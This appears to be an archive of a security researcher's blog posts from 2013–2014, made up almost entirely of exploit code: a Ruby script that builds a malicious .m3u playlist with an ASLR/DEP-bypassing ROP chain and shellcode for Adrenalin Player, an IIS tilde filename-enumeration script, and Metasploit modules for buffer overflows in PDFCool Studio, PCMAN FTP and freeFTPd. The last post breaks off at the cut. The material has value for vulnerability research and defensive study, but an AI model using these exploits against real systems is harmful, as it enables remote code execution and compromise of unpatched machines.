Monday, February 3, 2014

Adrenalin Player 2.2.5.3 (.m3u) SEH-Buffer Overflow ASLR+DEP Bypass 

#!/usr/bin env ruby
# Exploit Title: Adrenalin Player 2.2.5.3 (.m3u) SEH-Buffer Overflow ASLR+DEP Bypass
# Date: 3/2/2014
# Exploit Author: Muhamad Fadzil Ramli
# Vendor HomePage: http://software.naver.com/software/summary.nhn?softwareId=MFS_100099
# Software Link: http://software.naver.com/software/summary.nhn?softwareId=MFS_100099
# Version App: 2.2.5.3
# Tested on: Windows 7 x86 - Version 6.1.7600
# CVE:None
# Notes:-
# Offset to kernel32 - 0xF8C
# Offset to virtualProtect - 0xC039

filename = "motiv.m3u"

rop =  ''
rop << [0x10129df6].pack('V')  # PUSH ESP # POP ESI # RETN 0x10
rop << [0x10135eaf].pack('V') * 5 # RETN
rop << [0x1010c4c2].pack('V')  # ADD ESP,20 # RETN

rop << 'VVVV'      # VirtualProtect()
rop << 'WWWW'                   # return address
rop << 'XXXX'                   # lpAddress
rop << 'YYYY'                   # dwSize
rop << 'ZZZZ'                   # flNewProtect
rop << [0x1024bb98].pack('V')  # lpOldProtect - writeable address
rop << [0x10135eaf].pack('V') * 2 # RETN (ROP NOP)

# kernel32 address
rop << [0x1003de9f].pack('V')  # PUSH ESI # POP EAX # MOV EAX,ESI # POP EDI # RETN
rop << "AAAA"      # FILLER
rop << [0x1005de8e].pack('V')  # XCHG EAX,EBP # RETN
rop << [0x1012014d].pack('V')  # XOR EAX,EAX # RETN
rop << [0x101201d6].pack('V')  # POP EAX # RETN
rop << [0xFFFFF074].pack('V')  # OFFSET F8C
rop << [0x101111e2].pack('V')  # NEG EAX # RETN
rop << [0x1013a5e4].pack('V')  # ADD EAX,EBP # RETN
rop << [0x1010010f].pack('V')  # POP ECX # RETN
rop << [0xFFFFFFFF].pack('V')  #
rop << [0x1012dd87].pack('V')  # MOV EAX,DWORD PTR DS:[EAX] # ADD EAX,ECX # RETN
rop << [0x1012014b].pack('V')  # INC EAX # RETN
# virtualProtect Address
rop << [0x1002660b].pack('V')  # XCHG EAX,ECX # MOV EDX,5E5F0002 # POP EBP # POP EBX # RETN 0x0C
rop << "XXXX" * 2     # FILLER
rop << [0x1012014d].pack('V')  # XOR EAX,EAX # RETN
rop << "AAAA" * 3     # FILLER
rop << [0x101201d6].pack('V')  # POP EAX # RETN
rop << [0xFFFF3FC7].pack('V')  # OFSET C039
rop << [0x101111e2].pack('V')  # NEG EAX # RETN
rop << [0x1002660b].pack('V')  # XCHG EAX,ECX # MOV EDX,5E5F0002 # POP EBP # POP EBX # RETN 0x0C
rop << "AAAA" * 2     # FILLER
rop << [0x1013c584].pack('V')  # SUB EAX,ECX # RETN
rop << [0x1010010f].pack('V')  # POP ECX # RETN
rop << [0xFFFFFFFF].pack('V')  #
rop << [0x1012dd87].pack('V')  # MOV EAX,DWORD PTR DS:[EAX] # ADD EAX,ECX # RETN

# assign virtualprotect address
rop << [0x1006798b].pack('V') * 8 # INC ESI # RETN
rop << [0x1010eac7].pack('V')  # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN
rop << "AAAA"      # FILLER

# return address
rop << [0x10117105].pack('V')  # PUSH EAX # POP ESI # POP EBX # RETN
rop << [0x10135eaf].pack('V')  # FILLER
rop << [0x1014b57f].pack('V')  # ADD EAX,100 # POP EBP # RETN
rop << [0x10135eaf].pack('V')  # FILLER
rop << [0x1014b57f].pack('V')  # ADD EAX,100 # POP EBP # RETN
rop << [0x10135eaf].pack('V')  # FILLER
rop << [0x1006798b].pack('V') * 4 # INC ESI # RETN
rop << [0x1010eac7].pack('V')  # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN
rop << "AAAA"

# lpAddress
rop << [0x10117105].pack('V')  # PUSH EAX # POP ESI # POP EBX # RETN
rop << [0x10135eaf].pack('V')  # FILLER
rop << [0x1014b57f].pack('V')  # ADD EAX,100 # POP EBP # RETN
rop << [0x10135eaf].pack('V')  # RETN FILLER
rop << [0x1014b57f].pack('V')  # ADD EAX,100 # POP EBP # RETN
rop << [0x10135eaf].pack('V')  # FILLER
rop << [0x1006798b].pack('V') * 4 # INC ESI # RETN
rop << [0x1010eac7].pack('V')  # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN
rop << "AAAA"      # FILLER

# dwSize
rop << [0x10117105].pack('V')  # PUSH EAX # POP ESI # POP EBX # RETN
rop << [0x10135eaf].pack('V')  # FILLER
rop << [0x1012014d].pack('V')  # XOR EAX,EAX # RETN
rop << [0x101201d6].pack('V')  # POP EAX # RETN
rop << [0xfffffcff].pack('V')  # 300
rop << [0x101111e2].pack('V')  # NEG EAX # RETN
rop << [0x1006798b].pack('V') * 4 # INC ESI # RETN
rop << [0x1010eac7].pack('V')  # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN
rop << "AAAA"

# flNewProtect
rop << [0x10117105].pack('V')  # PUSH EAX # POP ESI # POP EBX # RETN
rop << [0x10135eaf].pack('V')  # RETN FILLER
rop << [0x1012014d].pack('V')  # XOR EAX,EAX # RETN
rop << [0x101201d6].pack('V')  # POP EAX # RETN
rop << [0xffffffc0].pack('V')  # 40
rop << [0x101111e2].pack('V')  # NEG EAX # RETN
rop << [0x1006798b].pack('V') * 4 # INC ESI # RETN
rop << [0x1010eac7].pack('V')  # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN
rop << "AAAA"

# Execute VirtualProtect
rop << [0x101263a0].pack('V')  # XCHG EAX,ESP # RETN

sc = 
"\x66\x81\xE4\xFC\xFF\x31\xD2\x52\x68\x63\x61\x6C\x63\x89\xE6\x52" +
"\x56\x64\x8B\x72\x30\x8B\x76\x0C\x8B\x76\x0C\xAD\x8B\x30\x8B\x7E" +
"\x18\x8B\x5F\x3C\x8B\x5C\x1F\x78\x8B\x74\x1F\x20\x01\xFE\x8B\x4C" +
"\x1F\x24\x01\xF9\x42\xAD\x81\x3C\x07\x57\x69\x6E\x45\x75\xF5\x0F" +
"\xB7\x54\x51\xFE\x8B\x74\x1F\x1C\x01\xFE\x03\x3C\x96\xFF\xD7\xCC"

xploit = rop
xploit << "\x90" * 256
xploit << sc

data = "A" * 2176
data[24,xploit.length] = xploit
data[2172+4,4] = [0x100d7aec].pack("V") # SEH - STACK PIVOT

File.open(filename,'w') do |fd|
    fd.write data
    puts "exploit file size : #{data.length.to_s}"
end
Posted by at

Friday, October 11, 2013

Simple IIS Tidle Bug Enumeration Script

During a pentest, i need to show the iis tidle bug to a customer as prove. so i code a simple ruby script for them.


#!/usr/bin/env ruby

# iistidlebugpoc.rb
# quick poc script for ms iis tidle bug

require 'rubygems'
require 'mechanize'
require 'optparse'

STDOUT.sync = true

@agent = Mechanize.new
#@agent.ssl_version = 'SSLv3'
@agent.verify_mode = OpenSSL::SSL::VERIFY_NONE


@options = {}
OptionParser.new do |opts|
    opts.banner = "Usage: example.rb [options]"
    opts.on('-u', '--url url', 'https://example.com/') do |url|
        @options[:url] = url
    end
    opts.on('-v', '--verbose', 'enable debug output') do
        @options[:verbose] = true
    end
    opts.on('-e', '--errcode errcode', 'define error code') do |errcode|
        @options[:errcode] = errcode
    end
    opts.on('-h', '--help', 'help?') do
        puts opts
        exit
    end
    opts.parse!
end

if @options[:errcode].nil?
    @options[:errcode] = "404"
end

def send_req(data)
    begin
        url = @options[:url] + "#{data}"
        @agent.get(url)
    rescue Mechanize::ResponseCodeError => e
        return e.response_code
    end
end

def chk_char(str)
    if @options[:errcode] == send_req(str + "*~1*/.aspx")
        print "------"
        print "\r#{str}\n"
        return str
    else
        return nil
    end
end

def chk_file(list)
    data = Array.new()
    list.each do |str|
        mychar = "qazwsxedcrfvtgbyhnujmikolp1627384950_- ."
        mychar.each_char do |chr|
            if (res = chk_char(str + chr)).nil?
            else
                #puts "char : #{res}"
                data.push(res)
            end
        end
    end
    return data
end

i = 0
data = Array.new()
data.push('')

puts "Bruteforce filename..please wait"
puts "Error Code : #{@options[:errcode]}"

while (i < 5)
    a = chk_file(data)
    data = a
    i += 1
end



Posted by at

Friday, October 4, 2013

PDFCool Studio Buffer Overflow Vulnerability 

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::PDF
  include Msf::Exploit::Egghunter

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'PDFCool Studio Buffer Overflow Vulnerability',
      'Description'    => %q{
            PDFCool Studio Suite is prone to a security vulnerability when
            processing PDF files. This vulnerability could be exploited by a remote
            attacker to execute arbitrary code on the target machine by enticing
            users to open a specially crafted PDF file (client-side attack).
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Marcos Accossatto - CORE Exploit Writers Team.', # Vulnerability discovery
          'Muhamad Fadzil Ramli <mind1355 [at] gmail.com> - mind1355.blogspot.com',
        ],
      'References'     =>
        [
          [ 'CVE', '2013-4986' ],
          [ 'CORE', '2013-0828' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Payload'        =>
        {
          'Space'       => 2000,
          'EncoderType' => Rex::Encoder::Alpha2::AlphaUpper
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'PDFCool 3.34 / Windows XP SP3 (EN)',
            {
              'Ret' => 0x005EA1EC,
            }
          ]
        ],
      'DisclosureDate' => 'Oct 02 2013',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [ false, 'The output filename.', 'motiv.pdf'])
      ], self.class)
  end

  def exploit
    file_create(make_pdf)
  end

  def jpeg

        image_data = 
        "\xFF\xD8\xFF\xEE\x00\x0E\x41\x64\x6F\x62\x65\x00\x64\x80\x00\x00\x00\x02" +
        "\xFF\xDB\x00\x84\x00\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x03\x02\x02" +
        "\x02\x03\x04\x03\x03\x03\x03\x04\x05\x04\x04\x04\x04\x04\x05\x05\x05\x05" +
        "\x05\x05\x05\x05\x05\x05\x07\x08\x08\x08\x07\x05\x09\x0A\x0A\x0A\x0A\x09" +
        "\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x01\x03\x02" +
        "\x02\x03\x03\x03\x07\x05\x05\x07\x0D\x0A\x09\x0A\x0D\x0F\x0D\x0D\x0D\x0D" +
        "\x0F\x0F\x0C\x0C\x0C\x0C\x0C\x0F\x0F\x0C\x0C\x0C\x0C\x0C\x0C\x0F\x0C\x0E" +
        "\x0E\x0E\x0E\x0E\x0C\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11" +
        "\x11\x11\x11\x11\x11\x11\x11\x11\xFF\xC0\x00\x14\x08\x00\x32\x00\xE6\x04" +
        "\x01\x11\x00\x02\x11\x01\x03\x11\x01\x04\x11\x00\xFF\xC4\x01\xA2\x00\x00" +
        "\x00\x07\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x04\x05\x03" +
        "\x02\x06\x01\x00\x07\x08\x09\x0A\x0B\x01\x54\x02\x02\x03\x01\x01\x01\x01" +
        "\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x02\x03\x04\x05\x06\x07\x08\x09" +
        "\x0A\x0B\x10\x00\x02\x01\x03\x03\x02\x04\x02\x06\x07\x03\x04\x02\x06\x02" +
        "\x73\x01\x02\x03\x11\x04\x00\x05\x21\x12\x31\x41\x51\x06\x13\x61\x22\x71" +
        "\x81\x14\x32\x91\xA1\x07\x15\xB1\x42\x23\xC1\x52\xD1\xE1\x33\x16\x62\xF0" +
        "\x24\x72\x82\xF1\x25\x43\x34\x53\x92\xA2\xB2\x63\x73\xC2\x35\x44\x27\x93" +
        "\xA3\xB3\x36\x17\x54\x64\x74\xC3\xD2\xE2\x08\x26\x83\x09\x0A\x18\x19\x84" +
        "\x94\x45\x46\xA4\xB4\x56\xD3\x55\x28\x1A\xF2\xE3\xF3\xC4\xD4\xE4\xF4\x65" +
        "\x75\x85\x95\xA5\xB5\xC5\xD5\xE5\xF5\x66\x76\x86\x96\xA6\xB6\xC6\xD6\xE6" +
        "\xF6\x37\x47\x57\x67\x77\x87\x97\xA7\xB7\xC7\xD7\xE7\xF7\x38\x48\x58\x68" +
        "\x78\x88\x98\xA8\xB8\xC8\xD8\xE8\xF8\x29\x39\x49\x59\x69\x79\x89\x99\xA9" +
        "\xB9\xC9\xD9\xE9\xF9\x2A\x3A\x4A\x5A\x6A\x7A\x8A\x9A\xAA\xBA\xCA\xDA\xEA" +
        "\xFA\x11\x00\x02\x02\x01\x02\x03\x05\x05\x04\x05\x06\x04\x08\x03\x03\x6D" +
        "\x01\x00\x02\x11\x03\x04\x21\x12\x31\x41\x05\x51\x13\x61\x22\x06\x71\x81" +
        "\x91\x32\xA1\xB1\xF0\x14\xC1\xD1\xE1\x23\x42\x15\x52\x62\x72\xF1\x33\x24" +
        "\x34\x43\x82\x16\x92\x53\x25\xA2\x63\xB2\xC2\x07\x73\xD2\x35\xE2\x44\x83" +
        "\x17\x54\x93\x08\x09\x0A\x18\x19\x26\x36\x45\x1A\x27\x64\x74\x55\x37\xF2" +
        "\xA3\xB3\xC3\x28\x29\xD3\xE3\xF3\x84\x94\xA4\xB4\xC4\xD4\xE4\xF4\x65\x75" +
        "\x85\x95\xA5\xB5\xC5\xD5\xE5\xF5\x46\x56\x66\x76\x86\x96\xA6\xB6\xC6\xD6" +
        "\xE6\xF6\x47\x57\x67\x77\x87\x97\xA7\xB7\xC7\xD7\xE7\xF7\x38\x48\x58\x68" +
        "\x78\x88\x98\xA8\xB8\xC8\xD8\xE8\xF8\x39\x49\x59\x69\x79\x89\x99\xA9\xB9" +
        "\xC9\xD9\xE9\xF9\x2A\x3A\x4A\x5A\x6A\x7A\x8A\x9A\xAA\xBA\xCA\xDA\xEA\xFA" +
        "\xFF\xDA\x00\x0E\x04\x01\x00\x02\x11\x03\x11\x04\x00\x00\x3F\x00\xFB\xF6" +
        "\x48\x50\x49\xE8\x31\x57\xF3\xFF\x00\x91\xFD\x43\xCC\x9A\x6E\x9C\x48\x9E" +
        "\xE1\x54\x8E\xD5\xCC\x9C\x1A\x0C\xB9\x79\x06\x32\xC8\x03\xA9\x84\x27\xF3" +
        "\x03\x43\x06\x9F\x5A\x5F\xBF\x32\x7F\x91\x33\xF7\x31\xF1\xE2\xDD\x0E"

        eggoptions = { :startreg => 'eax', :checksum => true, :eggtag => 'w00t' }
        hunter, egg = generate_egghunter(payload.encoded, nil, eggoptions)

        buf = ''
        buf << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+10").encode_string # jmp 16 bytes
        buf << "\x90" * 2
        buf << [target.ret].pack('V')
        buf << "\x90" * 8
        buf << hunter
        buf << "\x90" * 32
        buf << egg
        buf << rand_text_alpha_upper(3061 - buf.length)

        image_data << buf

    return image_data
  end

  def nObfu(str)
    return str
  end

  def make_pdf
    # pdf template taken from coolpdf exploit module
    @pdf << header
    add_object(1, nObfu("<</Type/Catalog/Outlines 2 0 R /Pages 3 0 R>>"))
    add_object(2, nObfu("<</Type/Outlines>>"))
    add_object(3, nObfu("<</Type/Pages/Kids[5 0 R]/Count 1/Resources <</ProcSet 4 0 R/XObject <</I0 7 0 R>>>>/MediaBox[0 0 612.0 792.0]>>"))
    add_object(4, nObfu("[/PDF/Text/ImageC]"))
    add_object(5, nObfu("<</Type/Page/Parent 3 0 R/Contents 6 0 R>>"))
    stream_1 = "stream" << eol
    stream_1 << "0.000 0.000 0.000 rg 0.000 0.000 0.000 RG q 265.000 0 0 229.000 41.000 522.000 cm /I0 Do Q" << eol
    stream_1 << "endstream" << eol
    add_object(6, nObfu("<</Length 91>>#{stream_1}"))
    stream = "<<" << eol
    stream << "/Width 230" << eol
    stream << "/BitsPerComponent 8" << eol
    stream << "/Name /X" << eol
    stream << "/Height 50" << eol
    stream << "/Intent /RelativeColorimetric" << eol
    stream << "/Subtype /Image" << eol
    stream << "/Filter /DCTDecode" << eol
    stream << "/Length #{jpeg.length}" << eol
    stream << "/ColorSpace /DeviceCMYK" << eol
    stream << "/Type /XObject" << eol
    stream << ">>"
    stream << "stream" << eol
    stream << jpeg << eol
    stream << "endstream" << eol
    add_object(7, stream)
    finish_pdf
  end

end

Posted by at

Thursday, September 19, 2013

PACMAN FTP STOR Command Exploit - DEP Bypass

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

 require 'msf/core'

 class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking

 include Msf::Exploit::Remote::Ftp

 def initialize(info = {})
super(update_info(info,
'Name'           => 'PCMAN FTP Server STOR Command Stack Overflow',
'Description'    => %q{
                        This module exploits a buffer overflow vulnerability
                        found in the STOR command of the PCMAN FTP v2.07 Server
                        when the "/../" parameters are also sent to the server.
},
'Author'         =>
[
                    'Christian (Polunchis) Ramirez',    # Initial Discovery
                    'Rick (nanotechz9l) Flores',        # Metasploit Modul
'Muhamad Fadzil Ramli <mind1355 [at] gmail.com>', # metasploit module - DEP Bypass
],
'License'        => MSF_LICENSE,
'References'     =>
[
[ 'EDB', '28328' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Privileged'     => false,
'Payload'        =>
{
'Space'    => 512,
'BadChars' => "\x00\x20\x0a\x0d",
#'DisableNops' => true
},
'Platform'       => 'win',
'Targets'        =>
[
                    # Windows XP (Build 2600, Service Pack 3)
[ 'Windows XP Pro SP3 EN',   { 'Ret' => 0x77C46028, 'Offset' => 2002 } ], # RETN
                    # Windows .NET Server (Build 3790, Service Pack 2) x86 - DEP Bypass
[ 'Windows 2003 Server R2 SP2 EN',   { 'Ret' => 0x77BB8040, 'Offset' => 2002 } ], # RETN
],
'DisclosureDate' => 'Jul 17 2011',
'DefaultTarget' => 0))
end

 def check
connect
disconnect

 if (banner =~ /PCMan's FTP Server 2.0/)
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Safe
end

 def exploit
connect_login

         case target_index()
            when 0
                print_status("Target ID: #{target.name}")
                # rop skeleton using mona.py
                rop =
                [
                    0x77c23960,  # POP EBP # RETN [msvcrt.dll]
                    0x77c23960,  # skip 4 bytes [msvcrt.dll]
                    #----------avoid null byte----------------
                    0x77c53436,  # POP EBX # RETN [msvcrt.dll]
                    0x042444DE,  # EBX = 0x042444DE
                    0x77c4d04e,  # POP EDX # RETN [msvcrt.dll]
                    0xFBDBBB62,  # EDX = 0xFBDBBB62
                    0x77c2c7ae,  # ADD EDX,EBX # POP EBX # RETN 0x10
                                 # 0xFBDBBB62 (EDX) + 0x042444DE (EBX) = 0x00000040
                    0xFBDBBD23,  # EBX = 0xFBDBBD23
                    0x77c46101,  # RETN (ROP NOP) [msvcrt.dll]
                    0x77c46101,  # RETN (ROP NOP) [msvcrt.dll]
                    0x77c46101,  # RETN (ROP NOP) [msvcrt.dll]
                    0x77c46101,  # RETN (ROP NOP) [msvcrt.dll]
                    0x77c46101,  # RETN (ROP NOP) [msvcrt.dll]
                    0x77c4e392,  # POP EAX # RETN
                    0x042444DE,  # EAX = 0x042444DE
                    0x77c50c77,  # ADD EBX,EAX # MOV EAX,DWORD PTR SS:[ESP+8] # RETN
                                 # 0xFBDBBD23 (EBX) + 0x042444DE (EAX) = 0x00000201
                    #-----------------------------------------
                    0x77c3b1ad,  # POP ECX # RETN [msvcrt.dll]
                    0x77c62f18,  # &Writable location [msvcrt.dll]
                    0x77c46116,  # POP EDI # RETN [msvcrt.dll]
                    0x77c46101,  # RETN (ROP NOP) [msvcrt.dll]
                    0x77c2eb03,  # POP ESI # RETN [msvcrt.dll]
                    0x77c2aacc,  # JMP [EAX] [msvcrt.dll]
                    0x77c21d16,  # POP EAX # RETN [msvcrt.dll]
                    0x77c11120,  # ptr to &VirtualProtect() [IAT msvcrt.dll]
                    0x77c12df9,  # PUSHAD # RETN [msvcrt.dll]
                    0x77c35524,  # ptr to 'push esp # ret ' [msvcrt.dll]
                ].flatten.pack("V*")
            when 1
                print_status("Target ID: #{target.name}")
                # rop skeleton using mona.py
                rop =
                [
                    0x77bb2563,  # POP EAX # RETN [msvcrt.dll]
                    0x77ba1114,  # ptr to &VirtualProtect() [IAT msvcrt.dll]
                    0x77bbf244,  # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN [msvcrt.dll]
                    0x41414141,  # Filler (compensate)
                    0x77bb0c86,  # XCHG EAX,ESI # RETN [msvcrt.dll]
                    0x77bac27e,  # POP EBP # RETN [msvcrt.dll]
                    0x77be2265,  # & push esp # ret  [msvcrt.dll]
                    #----------avoid null byte------------------
                    0x77be1ef3,  # POP EDX # RETN [msvcrt.dll]
                    0xFBDBBB63,  # 0x00000040-> edx
                    0x77bcb691,  # POP EBX # RETN [msvcrt.dll]
                    0x042444DD,  # EBX = 0x042444DD
                    0x77bbd50e,  # ADD EDX,EBX # POP EBX # RETN 0x10
                                 # 0x042444DD (EBX) + 0xFBDBBB63 (EDX) = 0x00000040
                    0xFBDBBD23,  # EBX** = 0xFBDBBD23
                    0x77BDFE3E,  # RETN (ROP NOP)
                    0x77BDFE3E,  # RETN (ROP NOP)
                    0x77BDFE3E,  # RETN (ROP NOP)
                    0x77BDFE3E,  # RETN (ROP NOP)
                    0x77BDFE3E,  # RETN (ROP NOP)
                    0x77BC541C,  # XOR EAX,EAX # INC EAX # RETN
                    0x77be2219,  # ADD EAX,42444DD # RETN
                    0x77BDFE37,  # ADD EBX,EAX # OR EAX, 3000000 # RETN
                                 # 0x042444DD (EAX) + 0xFBDBBD23 (EBX**) = 0x00000201
                    #-------------------------------------------
                    0x77bcadff,  # POP ECX # RETN [msvcrt.dll]
                    0x77bf2cfc,  # &Writable location [msvcrt.dll]
                    0x77bd88b8,  # POP EDI # RETN [msvcrt.dll]
                    0x77bd8c05,  # RETN (ROP NOP) [msvcrt.dll]
                    0x77be3adb,  # POP EAX # RETN [msvcrt.dll]
                    0x90909090,  # nop
                    0x77be6591,  # PUSHAD # ADD AL,0EF # RETN [msvcrt.dll]
                ].flatten.pack("V*")
        end

         rop << make_nops(32)
        rop << payload.encoded

 print_status("Sending exploit buffer...")

         buf = Rex::Text.pattern_create( 3000 )

         buf[ target['Offset'],4] = [ target.ret ].pack('V')
        buf[ target['Offset']+8, rop.length ] = rop

         send_cmd( ['STOR', '/../' + buf], false )

 handler
disconnect
end

 end

Posted by at

Monday, September 16, 2013

Updated: freeftpd exploit with XP & W2K3 DEP bypass

Update ROP for windows XP and W2K3

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::Ftp

def initialize(info = {})
super(update_info(info,
'Name'           => 'freeFTPd 1.0.10 PASS Command SEH Overflow',
'Description'    => %q{
                    This module exploits a SEH stack-based buffer overflow in freeFTPd Server PASS command version 1.0.10.
                credit goes to Wireghoul.

},
'Author'         =>
[
                    'Wireghoul - www.justanotherhacker.com', # original poc
'Muhamad Fadzil Ramli <fadzil [at] motivsolution.asia>', # dep bypass & metasploit module
],
'License'        => MSF_LICENSE,
'References'     =>
[
[ 'OSVDB', '96517' ],
[ 'EDB', '27747' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'seh'
},
'Privileged'     => false,
'Payload'        =>
{
'Space'    => 512,
'BadChars' => "\x00\x20\x0a\x0d",
},
'Platform'       => 'win',
'Targets'        =>
[
                    # Windows XP (Build 2600, Service Pack 3) x86 - DEP Bypass
                    [ 'Windows XP Pro SP3 EN - DEP',   { 'Ret' => 0x00493EDE, 'Offset' => 952 } ], # ADD ESP, 46C
                    # Windows .NET Server (Build 3790, Service Pack 2) x86 - DEP Bypass
[ 'Windows 2003 Server SP2 EN - DEP',   { 'Ret' => 0x00493EDE, 'Offset' => 797 } ], #ADD ESP 46C
                    # Wireghoul offset does not match mine, so using his offset as a credit to him
                    #[ 'Windows XP Pro SP3 EN',   { 'Ret' => 0x00414226 , 'Offset' => 952 } ],
                    [ 'Windows XP Pro SP3 EN',   { 'Ret' => 0x004142f0 , 'Offset' => 797 } ],
],
'DisclosureDate' => 'Aug 21 2013',
'DefaultTarget' => 0))
end

def check
connect
disconnect

if (banner =~ /freeFTPd 1.0/)
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Safe
end

def exploit
connect

        buf = rand_text_english(1000)

        case target_index()
            when 0
                print_status("Target ID: #{target.name}")
    
                # rop skeleton using mona.py
                rop =
                [
                    0x77c23960,  # POP EBP # RETN [msvcrt.dll]
                    0x77c23960,  # skip 4 bytes [msvcrt.dll]
                    #----------avoid null byte----------------
                    0x77c53436,  # POP EBX # RETN [msvcrt.dll]
                    0x042444DE,  # EBX = 0x042444DE
                    0x77c4d04e,  # POP EDX # RETN [msvcrt.dll]
                    0xFBDBBB62,  # EDX = 0xFBDBBB62
                    0x77c2c7ae,  # ADD EDX,EBX # POP EBX # RETN 0x10
                                 # 0xFBDBBB62 (EDX) + 0x042444DE (EBX) = 0x00000040
                    0xFBDBBD23,  # EBX = 0xFBDBBD23
                    0x77c46101,  # RETN (ROP NOP) [msvcrt.dll]
                    0x77c46101,  # RETN (ROP NOP) [msvcrt.dll]
                    0x77c46101,  # RETN (ROP NOP) [msvcrt.dll]
                    0x77c46101,  # RETN (ROP NOP) [msvcrt.dll]
                    0x77c46101,  # RETN (ROP NOP) [msvcrt.dll]
                    0x77c4e392,  # POP EAX # RETN
                    0x042444DE,  # EAX = 0x042444DE
                    0x77c50c77,  # ADD EBX,EAX # MOV EAX,DWORD PTR SS:[ESP+8] # RETN
                                 # 0xFBDBBD23 (EBX) + 0x042444DE (EAX) = 0x00000201
                    #-----------------------------------------
                    0x77c3b1ad,  # POP ECX # RETN [msvcrt.dll]
                    0x77c62f18,  # &Writable location [msvcrt.dll]
                    0x77c46116,  # POP EDI # RETN [msvcrt.dll]
                    0x77c46101,  # RETN (ROP NOP) [msvcrt.dll]
                    0x77c2eb03,  # POP ESI # RETN [msvcrt.dll]
                    0x77c2aacc,  # JMP [EAX] [msvcrt.dll]
                    0x77c21d16,  # POP EAX # RETN [msvcrt.dll]
                    0x77c11120,  # ptr to &VirtualProtect() [IAT msvcrt.dll]
                    0x77c12df9,  # PUSHAD # RETN [msvcrt.dll]
                    0x77c35524,  # ptr to 'push esp # ret ' [msvcrt.dll]
                ].flatten.pack("V*")

                rop << make_nops(32)
                rop << payload.encoded

                buf[12,rop.length] = rop
                
            when 1
                print_status("Target ID: #{target.name}")

                # rop skeleton using mona.py
                rop =
                [
                    0x77bb2563,  # POP EAX # RETN [msvcrt.dll]
                    0x77ba1114,  # ptr to &VirtualProtect() [IAT msvcrt.dll]
                    0x77bbf244,  # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN [msvcrt.dll]
                    0x41414141,  # Filler (compensate)
                    0x77bb0c86,  # XCHG EAX,ESI # RETN [msvcrt.dll]
                    0x77bac27e,  # POP EBP # RETN [msvcrt.dll]
                    0x77be2265,  # & push esp # ret  [msvcrt.dll]
                    #----------avoid null byte------------------
                    0x77be1ef3,  # POP EDX # RETN [msvcrt.dll]
                    0xFBDBBB63,  # 0x00000040-> edx
                    0x77bcb691,  # POP EBX # RETN [msvcrt.dll]
                    0x042444DD,  # EBX = 0x042444DD
                    0x77bbd50e,  # ADD EDX,EBX # POP EBX # RETN 0x10
                                 # 0x042444DD (EBX) + 0xFBDBBB63 (EDX) = 0x00000040
                    0xFBDBBD23,  # EBX** = 0xFBDBBD23
                    0x77BDFE3E,  # RETN (ROP NOP)
                    0x77BDFE3E,  # RETN (ROP NOP)
                    0x77BDFE3E,  # RETN (ROP NOP)
                    0x77BDFE3E,  # RETN (ROP NOP)
                    0x77BDFE3E,  # RETN (ROP NOP)
                    0x77BC541C,  # XOR EAX,EAX # INC EAX # RETN
                    0x77be2219,  # ADD EAX,42444DD # RETN
                    0x77BDFE37,  # ADD EBX,EAX # OR EAX, 3000000 # RETN
                                 # 0x042444DD (EAX) + 0xFBDBBD23 (EBX**) = 0x00000201
                    #-------------------------------------------
                    0x77bcadff,  # POP ECX # RETN [msvcrt.dll]
                    0x77bf2cfc,  # &Writable location [msvcrt.dll]
                    0x77bd88b8,  # POP EDI # RETN [msvcrt.dll]
                    0x77bd8c05,  # RETN (ROP NOP) [msvcrt.dll]
                    0x77be3adb,  # POP EAX # RETN [msvcrt.dll]
                    0x90909090,  # nop
                    0x77be6591,  # PUSHAD # ADD AL,0EF # RETN [msvcrt.dll]
                ].flatten.pack("V*")

                rop << make_nops(32)
                rop << payload.encoded

                buf[49+40,rop.length] = rop

            when 2
                print_status("Target ID: #{target.name}")

                buf[(target['Offset']-11) - payload.encoded.length, payload.encoded.length] = payload.encoded
                buf[target['Offset']-5,5] = "\xe9\x98\xfe\xff\xff"
                buf[target['Offset'],4]   = [0xfffff9eb].pack("V")
        end

        buf[target['Offset']+4,4] = [target.ret].pack('V')

print_status("Sending exploit buffer...")
        send_user(datastore['FTPUSER'])
        send_pass(buf)

handler
disconnect
end

end

Posted by at

Friday, September 13, 2013

Updated : freeFTPd 1.0.10 PASS Command SEH Overflow - DEP Bypass

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
